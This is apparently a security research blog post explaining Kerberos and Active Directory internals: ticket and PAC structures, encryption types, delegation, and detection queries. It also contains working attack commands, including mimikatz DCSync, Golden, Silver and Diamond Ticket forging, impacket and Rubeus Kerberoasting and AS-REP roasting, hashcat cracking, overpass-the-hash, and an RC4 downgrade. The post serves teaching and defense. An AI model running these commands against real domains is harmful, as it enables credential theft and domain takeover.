Kerberos Protocol Internals: Tickets, PAC, and the Security Implications | Tağmaç - root@Tagoletta:~#
Contents

Kerberos Protocol Internals: Tickets, PAC, and the Security Implications

Mon Jun 29 2026 · 23 min read

Category: Security Research

# Kerberos# Active-Directory# Protocol# Attack-Chain# Windows

Introduction: Why Study Kerberos Protocol Internals?

Understanding Kerberos at a protocol level is understanding why Golden Tickets work, why the krbtgt account is the "god key of the domain," and why a service account password can be cracked offline. The vast majority of modern Active Directory attacks — Golden Ticket, Silver Ticket, Kerberoasting, AS-REP Roasting, Diamond Ticket, Unconstrained Delegation, noPac — directly exploit internal Kerberos protocol mechanics.

This article examines Kerberos from first principles: ASN.1 structures, encryption selection decisions, PAC buffer layout, and precisely which protocol property each attack exploits.

Historical Context: From MIT Athena to RFC 4120

Kerberos was developed in 1988 as part of MIT's Project Athena. The core problem: how can users on shared campus workstations authenticate to network services without transmitting their password over the wire? The solution was ticket-based authentication via a trusted third party — the Kerberos server.

Kerberos versions 1 through 4 were used internally at MIT. In 1993, Neuman and Ts'o published "Kerberos: An Authentication Service for Computer Networks." RFC 1510 (1993) provided the first IETF standardization, followed by RFC 4120 (2005) — the comprehensive revision that defines Kerberos 5 as used today.

Microsoft adopted Kerberos as the default network authentication protocol with Windows 2000, replacing NTLM. However, Microsoft also added its own extensions under MS-KILE (Microsoft Kerberos Protocol Extension): the PAC (Privilege Attribute Certificate), constrained delegation, resource-based constrained delegation — none of which exist in RFC 4120.


Section 1: Kerberos Components and Terminology

1.1 KDC — Key Distribution Center

The KDC is the heart of Kerberos, hosting two logical services:

AS (Authentication Service): Verifies the user's identity and issues the TGT. Uses the user's long-term key (NTLM hash or AES hash) for verification.

TGS (Ticket Granting Service): Receives and validates the user's TGT, then issues Service Tickets for requested services. The TGS does not know the user's password — it only validates the TGT's authenticity.

In Active Directory environments, the KDC role runs on every Domain Controller. The krbtgt account is a special service account whose long-term key encrypts all TGTs.

1.2 Principal

A principal is the identity identifier in Kerberos. Two types exist:

  • User principal: user01@CORP.LOCAL format. The uppercase portion is the realm.
  • Service principal: http/webserver.corp.local@CORP.LOCAL format. Also known as SPN (Service Principal Name), written to the servicePrincipalName attribute in Active Directory.

1.3 Realm

A realm defines the Kerberos trust boundary. Conventionally written in uppercase and typically matching the DNS domain name: CORP.LOCAL. Cross-realm trust allows ticket usage between two realms.

1.4 TGT vs Service Ticket

TGT (Ticket Granting Ticket):

  • A special ticket issued for the krbtgt/CORP.LOCAL service
  • Used to access the KDC for subsequent ticket requests
  • Default lifetime: 10 hours (renewable: 7 days)
  • Only the KDC can decrypt it (encrypted with krbtgt hash)
  • Stored in LSASS (Windows) or ccache files (Linux/macOS)

Service Ticket (ST / TGS):

  • Ticket issued for a specific SPN
  • Encrypted with the service's long-term key
  • Default lifetime: 10 hours
  • Services can validate without contacting the KDC (this enables Silver Ticket attacks)

Section 2: AS Exchange — Authentication Service Exchange

The Kerberos session begins before even the username is sent in plaintext.

2.1 AS-REQ (KDC-REQ, msg-type 10)

AS-REQ is the KDC-REQ structure defined in RFC 4120 §5.4.1:

KDC-REQ ::= SEQUENCE {
    pvno           [1] INTEGER (5),
    msg-type       [2] INTEGER (10 -- AS-REQ, 12 -- TGS-REQ),
    padata         [3] SEQUENCE OF PA-DATA OPTIONAL,
    req-body       [4] KDC-REQ-BODY
}

KDC-REQ-BODY ::= SEQUENCE {
    kdc-options    [0] KDCOptions,
    cname          [1] PrincipalName OPTIONAL,
    realm          [2] Realm,
    sname          [3] PrincipalName OPTIONAL,
    from           [4] KerberosTime OPTIONAL,
    till           [5] KerberosTime,
    rtime          [6] KerberosTime OPTIONAL,
    nonce          [7] UInt32,
    etype          [8] SEQUENCE OF Int32,
    addresses      [9] HostAddresses OPTIONAL,
    enc-authorization-data [10] EncryptedData OPTIONAL,
    additional-tickets     [11] SEQUENCE OF Ticket OPTIONAL
}

Critical fields:

  • cname: Client's principal name (username)
  • sname: Requested service; in AS-REQ this is always krbtgt/REALM
  • etype: Encryption types supported by the client (in preference order)
  • nonce: Random 32-bit value to prevent replay attacks
  • padata: Pre-authentication data

2.2 PA-DATA: Pre-Authentication

Pre-authentication was added to RFC 4120 to prevent replay attacks and offline brute-force (it was optional in earlier versions). The most common PA-DATA types:

PA-ENC-TIMESTAMP (type 2):
A timestamp encrypted with the user's long-term key. The KDC decrypts this to verify both the user's identity and that the timestamp is within 5 minutes (replay protection).

PA-ENC-TS-ENC ::= SEQUENCE {
    patimestamp [0] KerberosTime,
    pausec      [1] Microseconds OPTIONAL
}

PA-ETYPE-INFO2 (type 19):
The KDC advertises its supported encryption types and the salt value. The client uses this to derive its key.

PA-PAC-REQUEST (type 128, MS-KILE):
Indicates whether the client wants a PAC included. If include-pac: TRUE, the KDC adds a PAC to the TGT.

PA-FOR-USER (type 129, S4U2Self):
Allows a service account to obtain a TGS on behalf of another user.

2.3 AS-REP Roasting: DONT_REQUIRE_PREAUTH

For users with DONT_REQUIRE_PREAUTH (0x400000) set in userAccountControl, the KDC returns an AS-REP without requiring PA-ENC-TIMESTAMP.

The AS-REP structure:

AS-REP ::= [APPLICATION 11] KDC-REP

KDC-REP ::= SEQUENCE {
    pvno      [0] INTEGER (5),
    msg-type  [1] INTEGER (11 -- AS-REP, 13 -- TGS-REP),
    padata    [2] SEQUENCE OF PA-DATA OPTIONAL,
    crealm    [3] Realm,
    cname     [4] PrincipalName,
    ticket    [5] Ticket,
    enc-part  [6] EncryptedData  -- EncASRepPart
}

The enc-part (EncASRepPart) is encrypted with the user's long-term key and contains the session key. Without pre-auth, this can be obtained without any authentication and cracked offline.

# AS-REP Roasting with impacket
GetNPUsers.py CORP.LOCAL/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1

# Output format: $krb5asrep$23$user@CORP.LOCAL:...
hashcat -m 18200 asrep.hash wordlist.txt

Section 3: TGT Internal Structure — Byte-Level Analysis

The TGT is carried in the Ticket structure defined in RFC 4120 §5.3:

3.1 Ticket ASN.1 Structure

Ticket ::= [APPLICATION 1] SEQUENCE {
    tkt-vno  [0] INTEGER (5),
    realm    [1] Realm,
    sname    [2] PrincipalName,
    enc-part [3] EncryptedData  -- EncTicketPart
}

EncTicketPart ::= [APPLICATION 3] SEQUENCE {
    flags            [0] TicketFlags,
    key              [1] EncryptionKey,
    crealm           [2] Realm,
    cname            [3] PrincipalName,
    transited        [4] TransitedEncoding,
    authtime         [5] KerberosTime,
    starttime        [6] KerberosTime OPTIONAL,
    endtime          [7] KerberosTime,
    renew-till       [8] KerberosTime OPTIONAL,
    caddr            [9] HostAddresses OPTIONAL,
    authorization-data [10] AuthorizationData OPTIONAL
}

3.2 Field-by-Field Security Analysis

tkt-vno (5): Protocol version number. Fixed at 5. Must also be 5 in forged tickets.

realm (CORP.LOCAL): Realm of the issuing KDC. In cross-realm attacks, tickets issued from different realms appear here.

sname (krbtgt/CORP.LOCAL): The TGT always targets the krbtgt service. In Silver Tickets, this field changes to the target service's SPN.

enc-part: The EncryptionType value in this field is critical. Seeing etype: 17 (AES-128) or etype: 18 (AES-256) is normal. Seeing etype: 23 (RC4-HMAC) in a modern environment — especially one with AES — indicates either a legacy client or a potential attack.

3.3 EncTicketPart: The Heart of the Ticket

flags (set by the KDC):

TicketFlags ::= KerberosFlags
-- forwardable       (0) = 0x40000000
-- forwarded         (1) = 0x20000000
-- proxiable         (2) = 0x10000000
-- proxy             (3) = 0x08000000
-- may-postdate      (4) = 0x04000000
-- postdated         (5) = 0x02000000
-- invalid           (6) = 0x01000000
-- renewable         (7) = 0x00800000
-- initial           (8) = 0x00400000
-- pre-authent       (9) = 0x00200000
-- hw-authent       (10) = 0x00100000
-- ok-as-delegate   (11) = 0x00040000  -- unconstrained delegation trust
-- name-canonicalize(15) = 0x00010000  -- MS-KILE extension

FORWARDABLE: The ticket can be forwarded to another machine. Required for unconstrained delegation attacks. Must be set when constructing a Golden Ticket for delegation purposes.

OK-AS-DELEGATE: Indicates the service account is trusted for unconstrained delegation. When an attacker connects to a service with this flag, the service can copy the user's TGT.

RENEWABLE: The user can renew the ticket without contacting the DC again. Important for long-term persistence.

PRE-AUTHENT: This ticket was obtained using pre-authentication. Trusted identity indicator.

key (Session Key):
The session key negotiated between the client and KDC during the AS exchange. The client encrypts the Authenticator in TGS-REQ with this key. The session key also appears in the AS-REP's enc-part (encrypted with the user's long-term key).

authtime: The time of initial authentication. The Diamond Ticket obtains a real TGT and leaves this field unchanged, making detection harder. In Golden Tickets, this field may be synthetic.

endtime: Ticket validity period. Golden Tickets often set this to 10 years (87,600 hours) — an anomalous value usable for detection.

authorization-data: The PAC is carried here. Detailed below.

3.4 Golden Ticket: The Cryptographic Perspective

The Golden Ticket attack exploits a fundamental design principle: enc-part is encrypted with krbtgt's long-term key. When the KDC validates a TGT, it only decrypts the enc-part and checks that the contents are logically valid. It cannot verify which Domain Controller issued it, because the KDC does not maintain this information.

# Step 1: Get krbtgt hash (DCSync)
mimikatz # lsadump::dcsync /user:krbtgt /domain:corp.local

# Output:
# Hash NTLM: aabbccdd11223344...
# Hash SHA1: eeff001122334455...
# AES256: 0011223344556677...

# Step 2: Create Golden Ticket
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /krbtgt:aabbccdd11223344... \
  /id:500 \
  /groups:512,519,520,513,518 \
  /sids:S-1-5-21-3623811015-3361044348-30300820-519 \
  /ptt

# With AES-256 (more stealthy — avoids RC4 warning)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
  /sid:S-1-5-21-... /aes256:0011223344... /ptt

The critical property: the KDC never asks "did I create this TGT?" It only asks "can I decrypt it with my krbtgt key and is the content valid?"

3.5 Diamond Ticket: A Stealthier Alternative

The Diamond Ticket is an evolution of the Golden Ticket designed to evade detection:

  • Golden Ticket: Entirely synthetic TGT. May contain synthetic authtime, fake cname, fabricated timestamps — potentially detectable by honeytoken/canary systems.

  • Diamond Ticket: A real TGT is obtained (real authtime, real cname, real session key). Then the TGT's enc-part is decrypted, ExtraSids is populated with Domain Admin/Enterprise Admin SID, and it's re-encrypted with the krbtgt key. Result: a modified version of a TGT the KDC genuinely issued.

# Diamond Ticket with Rubeus
Rubeus.exe diamond /krbkey:0011223344556677... /user:USER01 \
  /password:Password1! /enctype:aes256 \
  /sids:S-1-5-21-...-519 /domain:corp.local /dc:DC01.corp.local /ptt

# With impacket
ticketer.py -request -domain corp.local -domain-sid S-1-5-21-... \
  -aesKey 0011223344... -extra-sid S-1-5-21-...-519 USER01

Section 4: TGS Exchange — Ticket Granting Service Exchange

4.1 TGS-REQ (msg-type 12)

After obtaining a TGT, the client requests access to a service from the TGS:

-- TGS-REQ padata:
PA-TGS-REQ ::= AP-REQ  -- TGT + Authenticator

AP-REQ ::= [APPLICATION 14] SEQUENCE {
    pvno          [0] INTEGER (5),
    msg-type      [1] INTEGER (14),
    ap-options    [2] APOptions,
    ticket        [3] Ticket,         -- TGT
    authenticator [4] EncryptedData   -- encrypted with session key
}

Authenticator ::= [APPLICATION 2] SEQUENCE {
    authenticator-vno  [0] INTEGER (5),
    crealm             [1] Realm,
    cname              [2] PrincipalName,
    cksum              [3] Checksum OPTIONAL,
    cusec              [4] Microseconds,
    ctime              [5] KerberosTime,
    subkey             [6] EncryptionKey OPTIONAL,
    seq-number         [7] UInt32 OPTIONAL,
    authorization-data [8] AuthorizationData OPTIONAL
}

Authenticator's security role: To prevent replay attacks, each Authenticator contains a unique timestamp. The KDC maintains a replay cache of Authenticators used in the last 5 minutes. If the same Authenticator is submitted twice, KRB_AP_ERR_REPEAT is returned.

4.2 TGS-REP (msg-type 13)

TGS-REP contains two encrypted fields:

TGS-REP ::= [APPLICATION 13] KDC-REP

-- enc-part: encrypted with session key (EncTGSRepPart)
EncTGSRepPart ::= [APPLICATION 26] SEQUENCE {
    key            [0] EncryptionKey,  -- new session key (client↔service)
    last-req       [1] LastReq,
    nonce          [2] UInt32,
    key-expiration [3] KerberosTime OPTIONAL,
    flags          [4] TicketFlags,
    authtime       [5] KerberosTime,
    starttime      [6] KerberosTime OPTIONAL,
    endtime        [7] KerberosTime,
    renew-till     [8] KerberosTime OPTIONAL,
    srealm         [9] Realm,
    sname          [10] PrincipalName,
    caddr          [11] HostAddresses OPTIONAL
}

-- ticket: encrypted with service hash (EncTicketPart)
-- Client cannot read this field; forwards it intact to the service

4.3 Kerberoasting: Offline Cracking of the Service Hash

The ticket field in TGS-REP is encrypted with the service account's long-term key. The client does not read this field; it forwards it directly to the service. However, an attacker can capture this encrypted blob and attempt to crack it offline.

# Kerberoast with impacket
GetUserSPNs.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -request

# Output: $krb5tgs$23$*SvcAccount$CORP.LOCAL$...
# Crack with hashcat
hashcat -m 13100 kerberoast.hash /wordlists/rockyou.txt --rules=best64.rule

# AES TGS (harder to crack) — hashcat mode 19600/19700
hashcat -m 19600 aes128.hash wordlist.txt
hashcat -m 19700 aes256.hash wordlist.txt

# With Rubeus
Rubeus.exe kerberoast /nowrap /format:hashcat

RC4 Downgrade — Why Does RC4 Still Appear?

In modern environments, service accounts may use AES. However, if the attacker specifies only RC4 (0x17) in the etype field of the TGS-REQ, the KDC may return an RC4-encrypted TGS — if the service account's msDS-SupportedEncryptionTypes value permits RC4.

# Force RC4
Rubeus.exe kerberoast /rc4opsec /nowrap
# or
GetUserSPNs.py CORP.LOCAL/user01:Password1! -request -etype RC4

4.4 Silver Ticket: Bypassing the KDC Entirely

The Silver Ticket attack is based on constructing the ticket field in TGS-REP ourselves — encrypted with the service hash. This means we can access the service without ever contacting the KDC. This is both stealthier (no KDC logs) and works without domain connectivity.

# Get service hash (from previous Kerberoast or local dump)
mimikatz # sekurlsa::logonpasswords
# or: lsadump::lsa /patch

# Create Silver Ticket
mimikatz # kerberos::golden /user:FakeUser \
  /domain:corp.local \
  /sid:S-1-5-21-3623811015-3361044348-30300820 \
  /target:webserver.corp.local \
  /service:http \
  /rc4:aabbccdd... \
  /ptt

# With Rubeus
Rubeus.exe silver /service:http/webserver.corp.local \
  /rc4:aabbccdd... /user:FakeUser /domain:corp.local /ptt

A Silver Ticket is only valid for that specific service and works against services that do not perform PAC validation with the KDC — which includes most services (IIS, MSSQL, SMB).


Section 5: PAC — Privilege Attribute Certificate

The PAC is Microsoft's most critical extension to RFC 4120. It is the structure carried inside Kerberos tickets that drives Windows authorization decisions.

5.1 PAC Location

The PAC resides in the authorization-data field of every Kerberos ticket, wrapped as:

AuthorizationData ::= SEQUENCE OF SEQUENCE {
    ad-type  [0] Int32,
    ad-data  [1] OCTET STRING
}

-- ad-type: 1  → AD-IF-RELEVANT
-- Inside: ad-type: 128 → AD-WIN2K-PAC

5.2 PACTYPE Structure

According to the MS-PAC specification, the PAC has the following top-level structure:

PACTYPE {
    cBuffers: ULONG,         // Number of buffers
    Version: ULONG (0),      // Always 0
    Buffers[]: PAC_INFO_BUFFER
}

PAC_INFO_BUFFER {
    ulType:       ULONG,     // Buffer type
    cbBufferSize: ULONG,     // Buffer size
    Offset:       ULONG64    // Offset from PAC start
}

5.3 PAC_LOGON_INFO (ulType: 0x00000001) — The Most Critical Buffer

This buffer contains the KERB_VALIDATION_INFO structure (MS-PAC §2.5), NDR-encoded. All data that Windows uses to make authorization decisions about the user is here.

KERB_VALIDATION_INFO {
    LogonTime:              FILETIME
    LogoffTime:             FILETIME
    KickOffTime:            FILETIME
    PasswordLastSet:        FILETIME
    PasswordCanChange:      FILETIME
    PasswordMustChange:     FILETIME
    EffectiveName:          RPC_UNICODE_STRING  // username
    FullName:               RPC_UNICODE_STRING
    LogonScript:            RPC_UNICODE_STRING
    ProfilePath:            RPC_UNICODE_STRING
    HomeDirectory:          RPC_UNICODE_STRING
    HomeDirectoryDrive:     RPC_UNICODE_STRING
    LogonCount:             USHORT
    BadPasswordCount:       USHORT
    UserId:                 ULONG  // RID (e.g., 1105)
    PrimaryGroupId:         ULONG  // e.g., 513 = Domain Users
    GroupCount:             ULONG
    GroupIds[]:             GROUP_MEMBERSHIP[]  // Group RID list
    UserFlags:              ULONG
    UserSessionKey:         USER_SESSION_KEY
    LogonServer:            RPC_UNICODE_STRING
    LogonDomainName:        RPC_UNICODE_STRING
    LogonDomainId:          PRPC_SID  // Domain SID
    Reserved1[2]:           ULONG
    UserAccountControl:     ULONG
    SubAuthStatus:          ULONG
    LastSuccessfulILogon:   FILETIME
    LastFailedILogon:       FILETIME
    FailedILogonCount:      ULONG
    Reserved3:              ULONG
    SidCount:               ULONG
    ExtraSids[]:            KERB_SID_AND_ATTRIBUTES[]  // ← ATTACK POINT
    ResourceGroupDomainSid: PRPC_SID
    ResourceGroupCount:     ULONG
    ResourceGroupIds[]:     GROUP_MEMBERSHIP[]
}

ExtraSids — The Heart of the Golden Ticket

The ExtraSids field contains additional SIDs the user is a member of. Normally used for cross-realm SID history scenarios. In a Golden Ticket attack, Domain Admins (512) or Enterprise Admins (519) SIDs are injected here:

ExtraSids[0] = S-1-5-21-3623811015-3361044348-30300820-512  // Domain Admins
ExtraSids[1] = S-1-5-21-3623811015-3361044348-30300820-519  // Enterprise Admins

The service reads these SIDs from the PAC and grants Domain Admin privileges — even without real group membership in Active Directory.

5.4 PAC_CLIENT_INFO (ulType: 0x0000000A)

PAC_CLIENT_INFO {
    ClientId:   FILETIME    // authtime (8 bytes)
    NameLength: USHORT
    Name:       WCHAR[]     // ClientName (UTF-16LE)
}

Contains the name and authentication time of the ticket's owner. When analyzing Diamond Tickets, this field carrying a real value makes detection harder.

5.5 PAC_UPN_DNS_INFO (ulType: 0x0000000C)

UPN_DNS_INFO {
    UpnLength:           USHORT
    UpnOffset:           USHORT
    DnsDomainNameLength: USHORT
    DnsDomainNameOffset: USHORT
    Flags:               ULONG
    // Data: UPN + DnsDomainName (UTF-16LE)
}

Contains UPN (User Principal Name) and DNS domain name. Additional identity information used by some services.

5.6 PAC_SERVER_CHECKSUM (ulType: 0x00000006)

PAC_SIGNATURE_DATA {
    SignatureType:  ULONG  // 0x0000000F = HMAC-SHA1-96
    Signature:      BYTE[] // 12 or 16 byte HMAC
    RODCIdentifier: USHORT OPTIONAL
}

This checksum is computed with the service account's long-term key. Verifies the PAC content has not been tampered with.

Silver Ticket connection: If the attacker knows the service hash, they can craft a fake PAC and correctly compute PAC_SERVER_CHECKSUM. The service validates this checksum only against its own key.

5.7 PAC_KDC_CHECKSUM (ulType: 0x00000007)

Uses the same PAC_SIGNATURE_DATA format but computed with the krbtgt key. It is the checksum of PAC_SERVER_CHECKSUM's signature (not the entire PAC).

Golden/Diamond Ticket connection: If the attacker knows the krbtgt hash, they can recompute this checksum and pass KDC validation.

5.8 PAC Validation: Why Most Services Skip It

RFC 4120 does not mandate PAC validation. A service can forward the PAC to the KDC for verification (KERB_VERIFY_PAC_REQUEST protocol), but this requires an additional RPC call and degrades performance. The vast majority of common services (IIS, MSSQL, SMB) do not perform PAC validation. This is why Silver Tickets work.

To enable PAC validation:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1  (DWORD)

Section 6: Encryption Types and Security Analysis

6.1 RFC 3961: Kerberos Cryptography Framework

RFC 3961 defines a general framework for Kerberos encryption types. For each encryption type:

  • Key derivation function (string2key, random2key)
  • Encryption and decryption
  • Integrity checksum
  • Pseudo-random function

6.2 RC4-HMAC (etype 0x17): Why Still Problematic?

RC4-HMAC is defined in RFC 4757 and was a Microsoft addition introduced with Windows 2000. The critical security issue: for RC4-HMAC, the Kerberos key is the NTLM hash itself.

string2key(password, salt) = NTLM-hash(password) = MD4(UTF16LE(password))

This means:

  1. An attacker who obtains the NTLM hash can crack RC4-encrypted Kerberos TGT/TGS
  2. A direct bridge between Pass-the-Hash and Kerberos is created (Overpass-the-Hash)
  3. Kerberoasting cracks RC4 TGS tickets to obtain the service account's NTLM hash
# Overpass-the-Hash: NTLM hash → Kerberos TGT
Rubeus.exe asktgt /user:USER01 /rc4:aabbccdd... /domain:corp.local /ptt
impacket-getTGT corp.local/USER01 -hashes :aabbccdd...

6.3 AES-256-CTS-HMAC-SHA1-96 (etype 0x12): Why More Secure?

AES for Kerberos is defined in RFC 3962. The string2key function:

string2key(password, salt, params):
  iter_count = params.iter_count  # default: 4096
  tkey = random2key(PBKDF2-SHA1(password, salt, iter_count, keylength))
  key = DK(tkey, "kerberos" || 0x00000001 || keylength)

With PBKDF2 and 4096 iterations, each password guess requires 4096 SHA-1 computations. This slows offline cracking by several thousand times compared to RC4.

For AES, the salt value is: REALM + username (e.g., CORP.LOCALuser01). Every wordlist attempt during offline cracking must run PBKDF2 with this salt.

AES Golden Ticket: Requires the AES krbtgt hash, obtainable via lsadump::dcsync /user:krbtgt. A Golden Ticket created with AES is less detectable than one with RC4, because modern DCs log RC4 usage.

6.4 msDS-SupportedEncryptionTypes

This Active Directory attribute defines, as a bitmask, which encryption types a principal (user/computer/service account) will accept:

Bit  Value        Meaning
0    0x00000001   DES-CBC-CRC
1    0x00000002   DES-CBC-MD5
2    0x00000004   RC4-HMAC
3    0x00000008   AES128-CTS-HMAC-SHA1-96
7    0x00000080   AES256-CTS-HMAC-SHA1-96

Common values:

  • 0 (not set): Defaults to RC4
  • 0x18 (24): AES-128 + AES-256 — recommended
  • 0x1C (28): RC4 + AES — transition period
  • 0x1F (31): All (including DES) — dangerous

Kerberoasting downgrade attack:

# Downgrade msDS-SupportedEncryptionTypes to RC4 (requires GenericWrite)
Set-ADUser svcSQLAdmin -Replace @{
    'msDS-SupportedEncryptionTypes' = 4  # RC4 only
}

# Then Kerberoast → hashcat -m 13100 (much faster)

Detection: EID 4769 with ticket_encryption_type = 0x17 (RC4) — suspicious when the target account supports AES.


Section 7: S4U Extensions — Protocol Transition and Delegation

7.1 S4U2Self (MS-SFU §3.1)

S4U2Self (Service-for-User-to-Self) allows a service account to obtain a TGS for its own service on behalf of any user. This is called "protocol transition" because it bridges non-Kerberos authentication (NTLM, certificate) to Kerberos.

S4U2Self flow:
1. Service → KDC: TGS-REQ
   - PA-FOR-USER: { userName: "TargetUser", userRealm: "CORP.LOCAL" }
   - sname: its own SPN
2. KDC → Service: TGS-REP
   - Ticket: ST for ServiceAccount service, on behalf of TargetUser
   - Ticket contains TargetUser's PAC
   - FORWARDABLE flag: set if TrustedToAuthForDelegation is present

S4U2Self exploitation scenario:

# S4U2Self with Rubeus
Rubeus.exe s4u /user:svcAccount /password:Password1! \
  /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local \
  /domain:corp.local /ptt

7.2 S4U2Proxy (MS-SFU §3.2)

S4U2Proxy is the continuation of S4U2Self. The service account uses the "forwardable" ticket obtained from S4U2Self to access another service on the user's behalf.

S4U2Proxy flow:
1. Service → KDC: TGS-REQ
   - additional-tickets[0]: ST from S4U2Self (FORWARDABLE)
   - sname: target service's SPN
2. KDC → Service: TGS-REP
   - Ticket: ST for TargetUser for TargetService
3. Service → TargetService: AP-REQ
   - Ticket: ST from step 2

7.3 Constrained vs Unconstrained Delegation

Unconstrained Delegation (userAccountControl: TRUSTED_FOR_DELEGATION):
The service directly receives the user's TGT and can forward it to any service. The KDC sends the TGT as an additional ticket in AP-REQ. Attack scenario: compromise a service with the unconstrained delegation flag, then harvest TGTs from connecting users (including Domain Admins).

# Find service accounts with unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation

Constrained Delegation (msDS-AllowedToDelegateTo):
The service can only S4U2Proxy to a specified list of SPNs. More secure, but misconfiguration is exploitable.

Resource-Based Constrained Delegation (RBCD):
The target resource controls which accounts can delegate to it (msDS-AllowedToActOnBehalfOfOtherIdentity). An attacker with GenericWrite permission can modify this attribute for privilege escalation.

# RBCD attack
$SD = New-Object Security.AccessControl.RawSecurityDescriptor(
  "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...-1234)")
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-ADComputer -Identity "TargetComputer" -PrincipalsAllowedToDelegateToAccount AttackerMachine$

Section 8: KRB-ERROR Messages and Analysis

Kerberos error messages are critical for both troubleshooting and security analysis:

KDC_ERR_C_PRINCIPAL_UNKNOWN    = 6   -- Client not found in DB
KDC_ERR_S_PRINCIPAL_UNKNOWN    = 7   -- Server not found in DB (wrong SPN!)
KDC_ERR_CLIENT_REVOKED         = 18  -- Client credentials revoked (disabled account)
KDC_ERR_PREAUTH_FAILED         = 24  -- Pre-auth info incorrect (bad password)
KDC_ERR_PREAUTH_REQUIRED       = 25  -- Pre-auth required (normal)
KRB_AP_ERR_BAD_INTEGRITY       = 31  -- Integrity check failed (wrong key)
KRB_AP_ERR_TKT_EXPIRED         = 32  -- Ticket expired
KRB_AP_ERR_REPEAT              = 34  -- Replayed request
KRB_AP_ERR_SKEW                = 37  -- Clock skew too great (>5 minutes)
KRB_ERR_RESPONSE_TOO_BIG       = 52  -- Response too big for UDP; use TCP

Critical for penetration testing:

  • KDC_ERR_PREAUTH_REQUIRED (25): Normal — account requires pre-auth
  • KDC_ERR_PREAUTH_FAILED (24): Wrong password
  • KDC_ERR_CLIENT_REVOKED (18): Account disabled
  • KRB_AP_ERR_SKEW (37): Clock sync issue (Kerberos requires ±5 min tolerance)
  • KDC_ERR_S_PRINCIPAL_UNKNOWN (7): SPN doesn't exist — invalid SPN for Kerberoasting

Section 9: Wireshark Kerberos Traffic Analysis

9.1 Filters

# All Kerberos traffic
kerberos

# By message type
kerberos.msg_type == 10   # AS-REQ
kerberos.msg_type == 11   # AS-REP
kerberos.msg_type == 12   # TGS-REQ
kerberos.msg_type == 13   # TGS-REP
kerberos.msg_type == 14   # AP-REQ
kerberos.msg_type == 15   # AP-REP
kerberos.msg_type == 30   # KRB-ERROR

# By error code
kerberos.error_code == 25   # PREAUTH_REQUIRED
kerberos.error_code == 24   # PREAUTH_FAILED
kerberos.error_code == 18   # CLIENT_REVOKED
kerberos.error_code == 37   # Clock skew

# Specific user
kerberos.CNameString == "user01"

# RC4 usage (suspicious)
kerberos.etype == 23

# Specific SPN
kerberos.SNameString contains "krbtgt"
kerberos.SNameString contains "cifs"

9.2 Kerberoasting Detection in TGS-REQ

Suspicious TGS-REQ in Wireshark:

kerberos.SNameString != "krbtgt"   # Service ticket (may be normal)
kerberos.etype == 23               # RC4 being requested

Combined: RC4 TGS request for a service account = potential Kerberoasting attempt.


Section 10: Detection and Defense

10.1 Windows Event ID Reference

EID 4768 — Kerberos Authentication Ticket (TGT) Requested
  Fields: Account Name, Supplied Realm, Service Name, Ticket Options,
          Result Code, Ticket Encryption Type, Pre-Authentication Type,
          IP Address, Certificate Issuer, Certificate Serial Number

EID 4769 — Kerberos Service Ticket (TGS) Requested
  Fields: Account Name, Service Name, Ticket Options,
          Ticket Encryption Type, Failure Code, Transited Services

EID 4770 — Kerberos Service Ticket Renewed

EID 4771 — Kerberos Pre-Authentication Failed
  Account Name, IP Address, Failure Code
  Failure Code 0x18 = wrong password

EID 4672 — Special Logon
  Administrator or DA rights assigned to new logon session
  Generated when Golden/Silver Ticket succeeds

10.2 Golden Ticket Detection

# EID 4769 + 4768 correlation:
# 1. EID 4769 without prior EID 4768 (TGS without TGT request)
# 2. EID 4768 with EncryptionType = 0x17 (RC4) on an AES-only DC
# 3. EID 4769 with anomalous AccountDomain
# 4. Abnormal ticket lifetime (10 years)

# KQL (Microsoft Sentinel)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where AccountDomain == "CORP.LOCAL"

Behavioral anomalies:

  • authtime far in the past (static value set during Golden Ticket construction)
  • renew-till set 10 years in the future
  • Mismatch between cname and the logon username
  • Ticket originating from an unknown client IP

10.3 Kerberoasting Detection

# EID 4769 - RC4 encrypted TGS request for service accounts
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"   // RC4
| where ServiceName != "krbtgt"
| where ServiceName !endswith "$"
| where IpAddress != "-"
| summarize count() by IpAddress, AccountName, ServiceName, bin(TimeGenerated, 1h)
| where count_ > 5   // Multiple requests = automation

Watch for:

  • Many TGS requests from a single source IP
  • Burst requests for multiple service accounts
  • RC4 TGS requests in an AES-capable environment

10.4 AS-REP Roasting Detection

# EID 4768 - Pre-auth type = 0 (no pre-auth)
SecurityEvent
| where EventID == 4768
| where PreAuthType == "0"   // No pre-auth
| where Status == "0x0"      // Successful

Remediation: Remove the DONT_REQUIRE_PREAUTH flag from userAccountControl.

# Find accounts with DONT_REQUIRE_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Remove the flag
Set-ADAccountControl -Identity user01 -DoesNotRequirePreAuth $false

10.5 Defense Recommendations

krbtgt Account:

# Rotate krbtgt password periodically to invalidate Golden Tickets
# Important: Must be reset TWICE (to clear old key from all DCs)
# Tool: New-KrbtgtKeys.ps1 (Microsoft)

# RODCs have their own krbtgt accounts
# RODC compromise → reset only that RODC's krbtgt

Encryption Policy:

GPO: Computer Config → Windows Settings → Security Settings →
     Local Policies → Security Options →
     "Network security: Configure encryption types allowed for Kerberos"
Recommended: AES128, AES256 (disable DES and RC4)

PAC Validation:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
ValidateKdcPacSignature = 1

Microsoft Defender for Identity (MDI) Alerts:

  • Forged PAC using encryption downgrade activity
  • Kerberos Golden Ticket activity
  • Kerberos Silver Ticket activity
  • Overpass-the-Hash activity
  • Suspected Kerberoasting activity
